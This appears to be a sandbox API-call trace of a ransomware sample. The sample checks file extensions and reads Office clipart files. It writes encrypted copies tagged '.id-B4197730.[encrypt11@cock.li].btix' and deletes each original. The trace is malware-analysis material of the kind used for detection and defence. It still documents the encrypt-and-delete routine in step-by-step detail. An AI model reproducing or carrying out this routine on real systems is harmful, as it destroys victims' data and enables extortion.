[0158.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.395] lstrlenW (lpString=".doc") returned 4 [0158.395] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.395] lstrlenW (lpString=".docx") returned 5 [0158.395] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0158.395] lstrlenW (lpString=".pdf") returned 4 [0158.395] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.395] lstrlenW (lpString=".xls") returned 4 [0158.395] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.395] lstrlenW (lpString=".xlsx") returned 5 [0158.395] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0158.395] lstrlenW (lpString=".ppt") returned 4 [0158.395] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.395] lstrlenW (lpString=".zip") returned 4 [0158.395] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.395] lstrlenW (lpString=".rar") returned 4 [0158.395] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.395] lstrlenW (lpString=".bz2") returned 4 [0158.395] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.395] lstrlenW (lpString=".7z") returned 3 [0158.395] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.396] lstrlenW (lpString=".dbf") returned 4 [0158.396] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.396] lstrlenW (lpString=".1cd") returned 4 [0158.396] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.396] lstrlenW (lpString=".jpg") returned 4 [0158.396] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.396] lstrlenW (lpString=".doc") returned 4 [0158.396] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.396] lstrlenW (lpString=".docx") returned 5 [0158.396] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0158.396] lstrlenW (lpString=".pdf") returned 4 [0158.396] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.396] lstrlenW (lpString=".xls") returned 4 [0158.396] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.396] lstrlenW (lpString=".xlsx") returned 5 [0158.396] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0158.396] lstrlenW (lpString=".ppt") returned 4 [0158.396] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.396] lstrlenW (lpString=".zip") returned 4 [0158.396] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.396] lstrlenW (lpString=".rar") returned 4 [0158.396] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.396] lstrlenW (lpString=".bz2") returned 4 [0158.396] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.396] lstrlenW (lpString=".7z") returned 3 [0158.396] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.396] lstrlenW (lpString=".dbf") returned 4 [0158.397] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.397] lstrlenW (lpString=".1cd") returned 4 [0158.397] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0158.397] lstrlenW (lpString=".jpg") returned 4 [0158.397] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.397] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.397] lstrlenW (lpString="BABY_01.MID") returned 11 [0158.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.397] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=7384) returned 1 [0158.398] CloseHandle (hObject=0x2fc) returned 1 [0158.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220 [0158.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.398] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.398] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.399] GetLastError () returned 0x0 [0158.399] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0158.399] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0158.400] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.400] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xea, lpOverlapped=0x0) returned 1 [0158.400] SetEndOfFile (hFile=0x338) returned 1 [0158.400] CloseHandle (hObject=0x338) returned 1 [0158.401] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.401] SetEndOfFile (hFile=0x2fc) returned 1 [0158.401] CloseHandle (hObject=0x2fc) returned 1 [0158.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0158.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0158.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0158.402] lstrlenW (lpString=".doc") returned 4 [0158.402] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.402] lstrlenW (lpString=".docx") returned 5 [0158.402] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.402] lstrlenW (lpString=".pdf") returned 4 [0158.402] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.402] lstrlenW (lpString=".xls") returned 4 [0158.403] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.403] lstrlenW (lpString=".xlsx") returned 5 [0158.403] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.403] lstrlenW (lpString=".ppt") returned 4 [0158.403] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0158.403] lstrlenW (lpString=".zip") returned 4 [0158.403] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.403] lstrlenW (lpString=".rar") returned 4 [0158.403] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.403] lstrlenW (lpString=".bz2") returned 4 [0158.403] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.403] lstrlenW (lpString=".7z") returned 3 [0158.403] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0158.403] lstrlenW (lpString=".dbf") returned 4 [0158.403] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0158.403] lstrlenW (lpString=".1cd") returned 4 [0158.403] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0158.403] lstrlenW (lpString=".jpg") returned 4 [0158.403] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.403] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.404] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.404] GetLastError () returned 0x0 [0158.404] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x246a, lpOverlapped=0x0) returned 1 [0158.405] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x2470, lpOverlapped=0x0) returned 1 [0158.406] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.406] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.406] SetEndOfFile (hFile=0x338) returned 1 [0158.406] CloseHandle (hObject=0x338) returned 1 [0158.406] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.406] SetEndOfFile (hFile=0x2fc) returned 1 [0158.407] CloseHandle (hObject=0x2fc) returned 1 [0158.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0158.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0158.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0158.408] lstrlenW (lpString=".doc") returned 4 [0158.408] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.408] lstrlenW (lpString=".docx") returned 5 [0158.408] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.408] lstrlenW (lpString=".pdf") returned 4 [0158.408] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.408] lstrlenW (lpString=".xls") returned 4 [0158.408] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.408] lstrlenW (lpString=".xlsx") returned 5 [0158.408] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.408] lstrlenW (lpString=".ppt") returned 4 [0158.408] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0158.408] lstrlenW (lpString=".zip") returned 4 [0158.408] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.408] lstrlenW (lpString=".rar") returned 4 [0158.408] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.409] lstrlenW (lpString=".bz2") returned 4 [0158.409] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.409] lstrlenW (lpString=".7z") returned 3 [0158.409] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0158.409] lstrlenW (lpString=".dbf") returned 4 [0158.409] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0158.409] lstrlenW (lpString=".1cd") returned 4 [0158.409] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0158.409] lstrlenW (lpString=".jpg") returned 4 [0158.409] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.409] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.409] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.410] GetLastError () returned 0x0 [0158.410] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x1b3a, lpOverlapped=0x0) returned 1 [0158.410] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1b40, lpOverlapped=0x0) returned 1 [0158.411] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.411] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.411] SetEndOfFile (hFile=0x338) returned 1 [0158.411] CloseHandle (hObject=0x338) returned 1 [0158.412] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.412] SetEndOfFile (hFile=0x2fc) returned 1 [0158.412] CloseHandle (hObject=0x2fc) returned 1 [0158.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0158.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0158.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0158.413] lstrlenW (lpString=".doc") returned 4 [0158.413] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.413] lstrlenW (lpString=".docx") returned 5 [0158.413] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.413] lstrlenW (lpString=".pdf") returned 4 [0158.413] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.413] lstrlenW (lpString=".xls") returned 4 [0158.413] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.413] lstrlenW (lpString=".xlsx") returned 5 [0158.413] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.413] lstrlenW (lpString=".ppt") returned 4 [0158.413] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0158.413] lstrlenW (lpString=".zip") returned 4 [0158.413] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.413] lstrlenW (lpString=".rar") returned 4 [0158.413] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.413] lstrlenW (lpString=".bz2") returned 4 [0158.413] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.413] lstrlenW (lpString=".7z") returned 3 [0158.414] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0158.414] lstrlenW (lpString=".dbf") returned 4 [0158.414] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0158.414] lstrlenW (lpString=".1cd") returned 4 [0158.414] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0158.414] lstrlenW (lpString=".jpg") returned 4 [0158.414] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.414] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.414] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.414] GetLastError () returned 0x0 [0158.415] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x1815, lpOverlapped=0x0) returned 1 [0158.415] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1820, lpOverlapped=0x0) returned 1 [0158.416] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.416] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xea, lpOverlapped=0x0) returned 1 [0158.416] SetEndOfFile (hFile=0x338) returned 1 [0158.416] CloseHandle (hObject=0x338) returned 1 [0158.416] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.416] SetEndOfFile (hFile=0x2fc) returned 1 [0158.417] CloseHandle (hObject=0x2fc) returned 1 [0158.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1 [0158.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0158.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0158.418] lstrlenW (lpString=".doc") returned 4 [0158.418] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.418] lstrlenW (lpString=".docx") returned 5 [0158.418] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.418] lstrlenW (lpString=".pdf") returned 4 [0158.418] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.418] lstrlenW (lpString=".xls") returned 4 [0158.418] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.418] lstrlenW (lpString=".xlsx") returned 5 [0158.418] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.418] lstrlenW (lpString=".ppt") returned 4 [0158.418] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0158.418] lstrlenW (lpString=".zip") returned 4 [0158.418] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.418] lstrlenW (lpString=".rar") returned 4 [0158.418] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.418] lstrlenW (lpString=".bz2") returned 4 [0158.418] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.418] lstrlenW (lpString=".7z") returned 3 [0158.418] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0158.418] lstrlenW (lpString=".dbf") returned 4 [0158.418] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0158.418] lstrlenW (lpString=".1cd") returned 4 [0158.418] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0158.418] lstrlenW (lpString=".jpg") returned 4 [0158.419] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.419] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.419] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.419] GetLastError () returned 0x0 [0158.419] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x2942, lpOverlapped=0x0) returned 1 [0158.420] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x2950, lpOverlapped=0x0) returned 1 [0158.421] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, 